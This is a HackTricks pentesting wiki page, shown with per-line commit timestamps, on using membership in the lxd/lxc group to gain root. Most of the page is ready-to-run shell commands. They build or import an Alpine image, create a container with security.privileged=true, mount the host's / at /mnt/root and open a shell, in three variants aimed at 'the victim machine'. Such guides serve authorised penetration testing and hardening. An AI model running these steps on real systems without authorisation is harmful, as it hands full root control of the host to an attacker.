hacktricks/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md

129 lines
6.0 KiB
Markdown
Raw Normal View History

2023-01-24 15:43:15 +01:00
# lxd/lxc Group - Privilege escalation
2022-04-28 18:01:33 +02:00
<details>
2023-03-05 20:58:55 +01:00
<summary><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦 </strong></a><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️ </strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 18:01:33 +02:00
2023-01-24 15:43:15 +01:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 18:01:33 +02:00
</details>
2020-08-20 13:59:57 +02:00
If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
2023-01-24 15:43:15 +01:00
## Exploiting without internet
2020-08-20 13:59:57 +02:00
2023-01-24 15:43:15 +01:00
### Method 1
2020-08-20 13:59:57 +02:00
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github):
2020-08-20 13:59:57 +02:00
```bash
2021-08-22 04:17:22 +02:00
sudo su
2020-08-20 13:59:57 +02:00
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
2020-08-20 13:59:57 +02:00
#Clone repo
git clone https://github.com/lxc/distrobuilder
2020-08-20 13:59:57 +02:00
#Make distrobuilder
2022-05-20 22:08:30 +02:00
cd distrobuilder
2020-08-20 13:59:57 +02:00
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
2021-08-22 04:17:22 +02:00
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
2020-08-20 13:59:57 +02:00
```
Then, upload to the vulnerable server the files **lxd.tar.xz** and **rootfs.squashfs**
Add the image:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```
Create a container and add root path
```bash
2022-05-20 22:08:30 +02:00
lxc init alpine privesc -c security.privileged=true --alias=alpine
2020-08-20 13:59:57 +02:00
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
2021-08-22 04:17:22 +02:00
{% hint style="danger" %}
If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
2022-03-25 16:00:31 +01:00
Run **`lxd init`** and **repeat** the previous chunk of commands
2021-08-22 04:17:22 +02:00
{% endhint %}
2020-08-20 13:59:57 +02:00
Execute the container:
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
2023-01-24 15:43:15 +01:00
### Method 2
2020-08-20 13:59:57 +02:00
Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
2021-04-11 11:10:57 +02:00
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
2020-10-30 03:21:51 +01:00
2020-08-20 13:59:57 +02:00
# import the image
2021-04-11 11:10:57 +02:00
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
2020-11-17 22:38:49 +01:00
# before running the image, start and configure the lxd storage pool as default
lxd init
2020-08-20 13:59:57 +02:00
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
2021-11-30 17:46:07 +01:00
Alternatively [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
2020-08-20 13:59:57 +02:00
2023-01-24 15:43:15 +01:00
## With internet
2020-08-20 13:59:57 +02:00
You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
2023-01-24 15:43:15 +01:00
## Other Refs
2020-08-20 13:59:57 +02:00
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
2022-04-28 18:01:33 +02:00
<details>
2023-03-05 20:58:55 +01:00
<summary><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦 </strong></a><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️ </strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 18:01:33 +02:00
2023-01-24 15:43:15 +01:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 18:01:33 +02:00
</details>